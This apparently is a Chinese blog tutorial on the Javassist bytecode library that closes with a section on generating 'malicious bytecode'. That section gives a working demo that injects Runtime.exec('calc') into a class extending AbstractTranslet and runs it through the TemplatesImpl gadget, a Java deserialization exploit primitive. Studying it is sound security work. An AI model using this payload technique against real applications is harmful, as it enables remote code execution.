Featured image of post Javassist学习

Javassist学习

Javassist学习

参考:Javassist使用教程【译】说明 由于后续的 agent 相关文章要用到 Javassist,为了不和agent掺和 - 掘金

首先导入javassist包

1
2
3
4
5
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

我这里用的是jdk8,如果是jdk9+要用javassist4以上的版本

读写字节码

javassist是处理字节码的库,java字节码存在class文件中

javassist.CtClass是class文件的一个抽象代表。一个CtClass(编译期类)对象处理一个class文件。例如:

1
2
3
4
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("test.Rectangle");
cc.setSuperclass(pool.get("test.Point"));
cc.writeFile();

这个程序首先定义了个ClassPool对象,它控制着字节码的修改。ClassPool对象是CtClass对象的一个容器,它代表一个Class文件。它会读取Class(test.Rectangle)文件,然后构造并返回一个CtClass对象。为了修改一个类,用户必须用ClassPool对象的get() 方法来获取CtClass对象。上面展示的例子中,CtClass的实例cc代表类test.RectanleClassPool实例通过 getDefault() 方法实例化,它采用默认的搜索路径方式。

CtClass对象可以被修改(下边会详细介绍)。上面的例子中,它将test.Point作为自己的父类。在调用writeFile() 后,该修改就会更新到源class文件中。

writeFile()CtClass对象转化为一个Class文件,并把它写到本地磁盘上。Javassist也提供了一个方法,用于直接获取被修改的字节码。可以调用toBytecode() 方法获取:

1
byte[] b = cc.toBytecode();

你也可以直接加载CtClass:

1
Class clazz = cc.toClass();

toClass() 请求当前线程的上下文类加载器来加载CtClass代表的class文件,它返回java.lang.Class对象。

定义一个类

要定义一个新的类,必须使用ClassPool对象,调用其makeClass() 方法:

1
2
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");

这段代码定义了一个类名为Point的类,它没有任何成员,Point的成员方法可以通过CtNewMethod声明的工厂方法make创建,然后通过CtClassaddMethod方法添加到Point类中。

makeClass() 不能创建一个新的接口,想创建一个接口需要用makeInterface() 。接口的成员方法是使用CtNewMethodabstractMethod() 来创建的 。注意接口的方法是抽象方法。

冻结类

如果一个CtClass对象已经转化成了class文件,比如通过writeFile()toClass()toBytecode() , Javassist会冻结CtClass对象。之后对于CtClass对象的修改都是不允许的。

冻结的类可以如果想要修改,可以进行解冻,这样就允许修改了,如下:

1
2
3
4
5
CtClasss cc = ...;
    :
cc.writeFile();  // 会引起类冻结
cc.defrost();   // 解冻
cc.setSuperclass(...);    // OK 因为这个类已经被解冻了

defrost() 被调用之后,该CtClass对象可以再次被修改。

如果ClassPool.doPruning被设置为true,当CtClass被冻结时,Javassist会修剪它的数据结构。为了减少内存消耗,会删除那个对象中不需要的属性(attribute_info structures)。例如,Code_attribute结构(方法体)会被删除。因此,在CtClass对象被修剪之后,方法的字节码是不可访问的,除了方法名称,签名和注解。被修剪的CtClass对象不能再次被解冻(defrost)。ClassPool.doPruning 的默认是false.

类路径搜索

ClassPool.getDefault 默认会搜索JVM下面相同路径的类,并返回ClassPool。但是,如果一个程序运行在Web应用服务器上,像JBoss和Tomcat那种,ClassPool对象可能就找不到用户指定的类了,因为web应用服务使用了多个系统类加载器。这种情况下,需要给ClassPool注册一个额外的Class路径。如下:

1
pool.insertClassPath(new ClassClassPath(this.getClass()));  // 假设pool是ClassPool的一个实例

这句代码注册了一个类的类路径,这个类是this指向的那个类。你可以使用任意Class代替this.getClass().

你也可以注册一个文件夹作为类路径。例如,下面这段代码增添可以了文件夹 /usr/local/javalib到搜索路径中:

1
2
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("/usr/local/javalib");

搜索路径不仅可以是目录,甚至可以是URL:

1
2
3
ClassPool pool = ClassPool.getDefault();
ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");
pool.insertClassPath(cp);

该代码增添了**www.javassist.org:80/java/** 到类文件搜索路径下。该URL仅仅搜索org.javassist. 包下的class文件。例如,要加载org.javassist.test.Main 这个类,javassist会从这个地址下获取该类文件:

1
http://www.javassist.org:80/java/org/javassist/test/Main.class

此外,你也可以直接给ClassPool对象一个byte数组,然后用这个数组构建CtClass对象。要这样做,用ByteArrayClassPath, 例如:

1
2
3
4
5
ClassPool cp = ClassPool.getDefault();
byte[] b = a byte array;
String name = class name;
cp.insertClassPath(new ByteArrayClassPath(name, b));
CtClass cc = cp.get(name);

获得的CtClass对象表示一个由b指定的类文件定义的类。如果调用get()ClassPool会从ByteArrayClassPath中读取一个Class文件,指定的Class的名字就是上面的name变量。

如果你不知道这个类的全限定名,你可以使用ClassPool中的makeClass() :

1
2
3
ClassPool cp = ClassPool.getDefault();
InputStream ins = an input stream for reading a class file;
CtClass cc = cp.makeClass(ins);

makeClass() 返回一个通过输入流构建出来的CtClass。你可以使用makeClass()ClassPool 对象提供一个Class文件。如果搜索路径包含了一个很大的jar包,这可以提高性能。因为ClassPool对象会一个一个找,它可能会重复搜索整个jar包中的每一个class文件。makeClass() 可以优化这个搜索。makeClass() 构造出来的类会保存在ClassPool对象中,你下次再用的时候,不会再次读Class文件。

ClassPool

简介

ClassPool对象是多个CtClass对象的容器。一旦CtClass对象被创建,它就会永远被记录在ClassPool对象中。这是因为编译器之后在编译源码的时候可能需要访问CtClass对象。

例如,假定有一个新方法getter() 被增添到了Point类的CtClass对象。稍后,程序会试图编译代码,它包含了对Point方法的getter() 调用,并会使用编译后代码作为一个方法的方法体。如果表示Point类的CtClass对象丢了的话,编译器就不能编译调用getter() 的方法了(注意:原始类定义中不包含getter() )。因此,为了正确编译这样一个方法调用,ClassPool在程序过程中必须始终包含所有的CtClass对象。

避免内存溢出

为了避免内存溢出,你可以从ClassPool中移除不需要的CtClass对象。只需要调用CtClassdetach() 方法就行了:

1
2
3
CtClass cc = ... ;
cc.writeFile();
cc.detach();  // 该CtClass已经不需要了,从ClassPool中移除

在调用detach() 之后,这个CtClass对象就不能再调用任何方法了。但是你可以依然可以调用classPool.get() 方法来创建(没有则创建)一个相同的类。如果你调用get()ClassPool会再次读取class文件,然后创建一个新的CtClass对象并返回。

另一种方式是new一个新的ClassPool,旧的就不要了。这样旧的ClassPool就会被垃圾回收,它的CtClass也会被跟着垃圾回收。可以使用以下代码完成:

1
2
ClassPool cp = new ClassPool(true);  // true代表使用默认路径
// 如果需要的话,可以用appendClassPath()添加一个额外的搜索路径。

上面这个new ClassPoolClassPool.getDefault() 的效果是一样。注意,ClassPool.getDefault() 是一个单例的工厂方法,它只是为了方便用户创建提供的方法。这两种创建方式是一样的,源码也基本是一样的,只不过ClassPool.getDefault() 是单例的。

注意,new ClassPool(true) 是一个很方便的构造函数,它构造了一个ClassPool对象,然后给他增添了系统搜索路径。它构造方法的调用就等同于下面的这段代码:

1
2
ClassPool cp = new ClassPool();
cp.appendSystemPath();  // 你也可以通过appendClassPath()增添其他路径

更改类名的方式定义新类

一个“新类”可以从一个已经存在的类copy出来。可以使用以下代码:

1
2
3
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Point");
cc.setName("Pair");

这段代码首先获取了PointCtClass对象。然后调用setName() 方法给对象一个新的名字Pair。在这个调用之后,CtClass表示的类中的所有Point都会替换为Pair。类定义的其他部分不会变。

既然setName() 改变了ClassPool对象中的记录。从实现的角度看,ClassPool是一个hash表,setName() 改变了关联这个CtClass对象的key值。这个key值从原名称Point变为了新名称Pair

因此,如果之后调用get(“Point”) ,就不会再返回上面的cc引用的对象了。ClassPool对象会再次读取class文件,然后构造一个新的CtClass对象。这是因为Point这个CtClassClassPool中已经不存在了。请看下面代码:

1
2
3
4
5
6
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Point");
CtClass cc1 = pool.get("Point");   // 此时,cc1和cc是完全一样的。
cc.setName("Pair");
CtClass cc2 = pool.get("Pair");    // cc2和cc是完全一样的
CtClass cc3 = pool.get("Point");   // cc3和cc是不一样的,因为cc3是重新读取的class文件

cc1cc2引用的是相同的CtClass实例,与cc一样,cc3是另外一个实例对象。注意:cc.setName(“Pair”) 执行后,CtClass对象,cc和cc1引用的都都变成Pair类。

ClassPool对象用于维护CtClass对象和类之间的一一映射关系。Javassist不允许两个不同的CtClass对象代表相同的类,除非你用两个ClassPool。这个是程序转换一致性的重要特性。

重命名冻结类的方式定义新类

一旦CtClass对象转化为Class文件后,比如writeFile() 或是 toBytecode() 之后,Javassist会拒绝CtClass对象进一步的修改。因此,在CtClass对象转为Class文件之后,你将不能再通过setNme() 的方式将该类拷贝成一个新的类了。

为了解除这个限制,你应该调用ClassPoolgetAndRename() 方法。

1
2
3
4
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Point");
cc.writeFile();
CtClass cc2 = pool.getAndRename("Point", "Pair"); 

如果调用了getAndRenameClassPool首先为了创建代表PairCtClass而去读取Point.class。然而,它在记录CtClass到hash表之前,会把CtClassPoint重命名为Pair。因此getAndRename() 可以在writeFile()toBytecode() 之后执行。

ClassLoader

如果一个类是否要被修改是在加载时确定的,用户就必须让Javassist和类加载器协作。Javassist可以和类加载器一块儿使用,以便于可以在加载时修改字节码。用户可以自定义类加载器,也可以使用Javassist提供好的。

CtClass的 toClass() 方法

CtClass提供了一个方便的方法toClass() , 它会请求当前线程的上下文类加载器,让其加载CtClass对象所代表的那个类。要调用这个方法,必须要拥有权限。此外,该方法还会抛出SecurityException异常。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

class Hello {
    public static void say() {
        System.out.println("Hello");
    }
}

public class Test01 {
    public static void main(String[] args) throws Exception {
        ClassPool cp = ClassPool.getDefault();
        CtClass cc = cp.get("Hello");
        // 获取say方法
        CtMethod m = cc.getDeclaredMethod("say");
        // 在方法第一行前面插入代码
        m.insertBefore("{ System.out.println(\"Hello.say():\"); }");
        Class c = cc.toClass();
        Hello h = (Hello)c.newInstance();
        h.say();
    }
}

Test.main()Hellosay() 方法的方法体中插入了println() 的调用。然后构建了被修改后的Hello的实例,然后调用了该实例的say() 方法。

面这段程序有一个前提,就是Hello类在调用toClass() 之前没有被加载过。否则,在toClass() 请求加载被修改后的Hello类之前,JVM就会加载原始的Hello类。因此,加载被修改后的Hello类就会失败(抛出LinkageError)

如果像下面这样写

1
2
3
4
5
6
public static void main(String[] args) throws Exception {
    Hello orig = new Hello();
    ClassPool cp = ClassPool.getDefault();
    CtClass cc = cp.get("Hello");
    Class c = cc.toClass();  // 这句会报错
}

main函数的第一行加载了Hello类,cc.toClass() 这行就会抛出异常。原因是类加载器不能同时加载两个不同版本的Hello类。

使用javassist.Loader

Javassist提供了一个类加载器javasist.Loader,该加载器使用一个javassist.ClassPool对象来读取类文件。

例如,javassist.Loader可以加载一个被Javassist修改过的特定类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import javassist.*;
import test.Rectangle;

public class Main {
  public static void main(String[] args) throws Throwable {
     ClassPool pool = ClassPool.getDefault();
     Loader cl = new Loader(pool);

     CtClass ct = pool.get("test.Rectangle");
     ct.setSuperclass(pool.get("test.Point"));

     Class c = cl.loadClass("test.Rectangle");
     Object rect = c.newInstance();
  }
}

这段 程序修改了test.Rectangle,将它的父类设置为了test.Point。然后程序加载了修改后的类,并且创建了test.Rectangle的一个新实例。

如果用户想根据需要在类被加载的时候修改类,那么用户可以增添一个事件监听器给javassist.Loader。该事件监听器会在类加载器加载类时被通知。事件监听器必须实现下面这个接口:

1
2
3
4
5
6
public interface Translator {
    public void start(ClassPool pool)
        throws NotFoundException, CannotCompileException;
    public void onLoad(ClassPool pool, String classname)
        throws NotFoundException, CannotCompileException;
}

自省和定制

最重要的一集,这里介绍如何在方法中插入代码和插入内容的介绍

CtClass 提供了自省的方法。Javassist的自省能力是能够兼容Java的反射API的。CtClass提供了getName()getSuperclass()getMethods() 等等方法。它也提供了修改类定义的方法。它允许增添一个新的属性,构造函数以及方法。甚至可以改变方法体。

CtMethod* 对象代表一个方法。CtMethod提供了一些修改方法定义的方法。注意,如果一个方法是从父类继承过来的,那么相同的 CtMethod对象也会代表父类中声明的方法。CtMethod对象会对应到每一个方法定义中。

例如,如果Point类声明了move() 方法,并且它的子类ColorPoint 没有重写move() 方法,那么PointColorPointmove() 方法会具有相同的CtMethod对象。如果用CtMethod修改了方法定义,那么该修改就会在两个类中都生效。如果你只想修改ColorPoint中的move() 方法,你必须要增添一个Point.move() 方法的副本到ColorPoint中去。可以使用CtNewMethod.copy() 来获取CtMethod对象的副本。

Javassist不允许移除方法或者属性,但是允许你重命名它们。所以如果你不再需要方法或属性的时候,你应该将它们重命名或者把它们改成私有的,可以调用CtMethodsetName()setModifiers() 来实现。

Javassist不允许给一个已经存在的方法增添额外的参数。如果你非要这么做,你可以增添一个同名的新方法,然后把这个参数增添到新方法中。

只要标识符是$开头的,那么在修改class文件的时候就需要javassist.runtime包用于运行时支持。那些特定的标识符会在下面进行说明。要是没有标识符,可以不需要javassist.runtime和其他的运行时支持包。

在方法的开头和结尾插入代码

CtMethodCtConstructor提供了insertBefore() ,insertAfter() ,addCatch() 方法。它们被用于在已经存在的方法上面插入代码片段。用户可以把它们的代码以文本的形式写进去。Javassist包含了一个简单的编译器,可以处理这些源码文本。它能够把这些代码编译成字节码,然后将它们内嵌到方法体中。

往指定行插入代码也是有可能的(前提是class文件中包含行号表)。CtMethodCtConstructor中的insertAt() 就可以将代码插入指定行。它会编译代码文本,然后将其编译好的代码插入指定行。

insertBefore() ,insertAfter() ,addCatch() ,insertAt() 这些方法接受一个字符串来表示一个语句(statements)或代码块(block)。一句代码可以是一个控制结构,比如if、while,也可以是一个以分号(;)结尾的表达式。代码块是一组用 {} 括起来的语句。

所以下面这些都合法

1
2
3
System.out.println("Hello");
{ System.out.println("Hello"); }
if (i < 0) { i = -i; }

语句和代码块都可以引用属性或方法。如果方法使用 -g 选项(class文件中包含局部变量)进行编译,它们也可以引用自己插入方法的参数。否则,它们只能通过特殊的变量 $0,$1,$2,… 来访问方法参数,下面有说明。虽然在代码块中声明一个新的局部变量是允许的,但是在方法中访问它们确是不允许的。然而,如果使用 -g 选项进行编译, 就允许访问。

下面列出所有的标识符

标识符 含义
$0, $1, $2, … this 和实参, $0 代表this , $1 代表方法的第一个参数,$2代表第二个参数,以此类推
$args 参数数组。 $args 的类型是 Object[]
$$ 所有实参,例如m($$)等同于m($1,$2,…)
$cflow(…) cflow变量
$r 返回值类型。用于强制类型转换表达式
$w 包装类型。用于强制类型转换表达式
$_ 结果值
$sig java.lang.Class对象的数组,表示参数类型
$type java.lang.Class对象的数组,表示结果类型

然后一个个解释

$0, $1, $2, …

传递给目标方法的参数可以通过 $1,$2,… 访问,而 不是通过原先的参数名称!$1 代表第一个参数, $2代表第二个参数,以此类推。那些变量的类型和参数的类型是一样的。 $0代表this,如果是静态方法的话, $0不能用。

先写一个Point类

1
2
3
4
class Point {
    int x, y;
    void move(int dx, int dy) { x += dx; y += dy; }
}

要想在调用move() 时打印dxdy的值,我们需要添加打印的语句,添加前面说过用insertBefore这种方法

1
2
3
4
5
6
7
8
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Point");
//获取到move方法的句柄
CtMethod m = cc.getDeclaredMethod("move");
//往move方法的前边添加打印语句,打印内容为move的第一个参数和第二个参数
m.insertBefore("{ System.out.println(\$1); System.out.println(\$2); }");
//使修改生效
cc.writeFile();

然后Point类的代码就被修改成

1
2
3
4
5
6
7
class Point {
    int x, y;
    void move(int dx, int dy) {
        { System.out.println(dx); System.out.println(dy); }
        x += dx; y += dy;
    }
}

$args

变量 $arg 表示所有参数的一个数组。数组中的类型都是 Object 。如果参数是基本数据类型比如int,那么该参数就会被转换成包装类型比如java.lang.Integer,然后存储到 $args中。因此, $args[0] 就等于 $1 ,除非它是个基本类型(int不等于Integer)。注意, $args[0] 不等于 $0$0this

如果一个 Object 数组赋值给了 $args , 那么参数的每一个元素都会一一赋值。

$$

$$ 是一个以逗号分隔参数的缩写。例如,如果move() 方法的参数是3个。那么:

1
move($$)

与下面这个等价

1
move($1, $2, $3)

$r

$r 代表方法的返回值类型。他必须用于强制转换表达式中的转换类型。

如果返回值类型是一个基本数据类型,那么 ($r) 就会遵循特殊的语义。首先,如果被转换对象的类型就是基本类型,那么 ($r) 就会省去基本类型到基本类型的转换。但是,如果被转换对象的类型是包装类型,那么 $r就会从包装类型转为基本数据类型。例如,如果返回值类型为int,那 ($r) 就会将其从java.lang.Integer转为int(也即拆箱)。

如果返回值类型为void,那么 ($r) 不会进行类型转换。 它什么都不做。然而,如果调用的方法返回值为void的话,那么 ($r) 的结果就是null

类型转换符 ($r)return语句中也是很有用的。即使返回值类型为void,下面的return语句也是合法的:

1
return (\$r)result;

$_

CtMethodCtConstructor中的insertAfter() 在方法最后插入代码时,不只是 $1,$2.. 这些可以用,你也可用 $_

$_ 表示方法的返回值。而该变量的类型取决于该方法的返回值类型。如果方法的返回值类型为void,那么 $_ 的值是null,类型为Object

只有方法不报错,运行正常的情况下,insertAfter() 中的代码才会运行。如果你想让方法在抛出异常的时候也能执行insertAfter() 中的代码,那你就把该方法的第二个参数asFinally设置为true.

如果方法中抛出了异常,那么insertAfter() 中的代码也会在finally语句中执行。这时 $_ 的值是0null。插入的代码执行完毕后,抛出的异常还会抛给原来的调用者。注意, $_ 的值不会抛给原来的调用者,它相当于没用了(抛异常的时候没有返回值)。

$class

$class 值是 java.lang.Class 对象,代表修改的方法所对应的那个类。 $class$0 的类($0是this)。

addCatch()

addCatch() 往方法体插入了的代码片段会在方法抛出异常的时候执行。在源码中,你可以用 $e 来表示抛出异常时候的异常变量。

1
2
3
CtMethod m = ...;
CtClass etype = ClassPool.getDefault().get("java.io.IOException");
m.addCatch("{ System.out.println($e); throw $e; }", etype);

注意,插入的代码以throwreturn语句结尾。

修改方法体

setBody

最常用的方法

CtMethodCtConstructor提供了setBody() 方法,该方法用于取代整个方法体。它们会把你提供的源码编译成字节码,然后完全替代之前方法的方法体。如果你传递的源码参数为null,那么被替换的方法体只会包含一条return语句。

setBody() 方法传递的源码中,以$开头的标识符会有一些特殊含义,跟上面提供的表格一样

注意,这里不能用 $_

增加新方法或新属性

增加新方法

Javassist允许用户从零开始创建一个新的方法和构造函数。CtNewMethodCtNewConstructor提供了几个工厂方法,它们都是静态方法 ,用于创建CtMethodCtConstructor对象。尤其是make() 方法,它可以直接传递源代码,用于创建CtMethodCtConstructor对象。

1
2
3
4
5
CtClass point = ClassPool.getDefault().get("Point");
CtMethod m = CtNewMethod.make(
                 "public int xmove(int dx) { x += dx; }",
                 point);
point.addMethod(m);

该代码给Point类增添了一个public方法xmove() 。其中xPoint类原本就有的一个int属性。

传递给make() 的代码也可以包含以 $ 开头的标识符,就跟setBody() 方法是一样的,除了 $_ 之外。如果你还把make() 传递了目标对象和目标方法,你也可以使用 $proceed

1
2
3
4
CtClass point = ClassPool.getDefault().get("Point");
CtMethod m = CtNewMethod.make(
                 "public int ymove(int dy) { \$proceed(0, dy); }",
                 point, "this", "move");

这里实际上ymove()

1
public int ymove(int dy) { this.move(0, dy); }

增添属性

Javassist也允许用户创建一个新的属性:

1
2
3
CtClass point = ClassPool.getDefault().get("Point");
CtField f = new CtField(CtClass.intType, "z", point);
point.addField(f);

这个程序给Point类增添一个名为z的属性。

如果增添的属性需要进行值初始化,则上面的程序就要改成这样:

1
2
3
CtClass point = ClassPool.getDefault().get("Point");
CtField f = new CtField(CtClass.intType, "z", point);
point.addField(f, "0");    // 初始化的值是0.

addField() 方法接受了第二个参数,它代表了计算初始值表达式的源码文本。该源码文本可以是任何Java表达式,前提是表达式的结果类型和属性类型匹配。注意,表达式不以分号(;)结尾,意思就是0后面不用跟分号。

注解

CtClass, CtMethod, CtField, CtConstructor 提供了一个很方便的方法getAnnotations() 来读取注解。它返回一个注解类型对象。

假设我们注解是这样:

1
2
3
4
public @interface Author {
    String name();
    int year();
}

注解被这样使用:

1
2
3
4
@Author(name="Chiba", year=2005)
public class Point {
    int x, y;
}

那么,这个注解的值可以通过getAnnotations() 方法获取。它返回一个包含了注解类型对象的数组

1
2
3
4
5
6
CtClass cc = ClassPool.getDefault().get("Point");
Object[] all = cc.getAnnotations();
Author a = (Author)all[0];
String name = a.name();
int year = a.year();
System.out.println("name: " + name + ", year: " + year);

因为Point只包含了 @Author 一个注解,所以 all 数组的长度是1,all[0]Author对象。该注解的属性值可以使用Author对象的name()year() 方法获取。

Import

源码中所有的类名都必须是完全限定的(它们必须导入包名)。然而,java.lang包时一个特例;例如,Javassist编译器可以解析Object也可以解析java.lang.Object.

为了告知编译器当解析类时搜索其他的包,可以调用ClassPoolimportPackage() 方法。

1
2
3
4
5
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.awt");
CtClass cc = pool.makeClass("Test");
CtField f = CtField.make("public Point p;", cc);
cc.addField(f);

第二行告诉编译器要导入java.awt包。因此,第三行不会抛出异常。编译器会把Point看作java.awt.Point.

利用javassist创建恶意字节码

先定义恶意代码,然后先创建classpool对象,在池里面创建Test类,makeClassInitializer是创建一个静态代码块(static{}),也就是初始化这个类,然后在静态代码块开头插入恶意代码

为了实现后面TemplatesImpl加载字节码,继承AbstractTranslet为父类,然后toBytecode方法获取字节码

1
2
3
4
5
6
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();

一个demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import java.lang.reflect.Field;

public class EvilClass {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
    public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

或者换成新建构造函数注入

1
2
3
4
5
6
7
8
9
public static byte[] generatePayload() throws Exception{
        String cmd = "public Test(){Runtime.getRuntime().exec(\"calc\");}";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        CtConstructor constructor = CtNewConstructor.make(cmd,cc);
        cc.addConstructor(constructor);
        return cc.toBytecode();
    }
使用 Hugo 构建
主题 StackJimmy 设计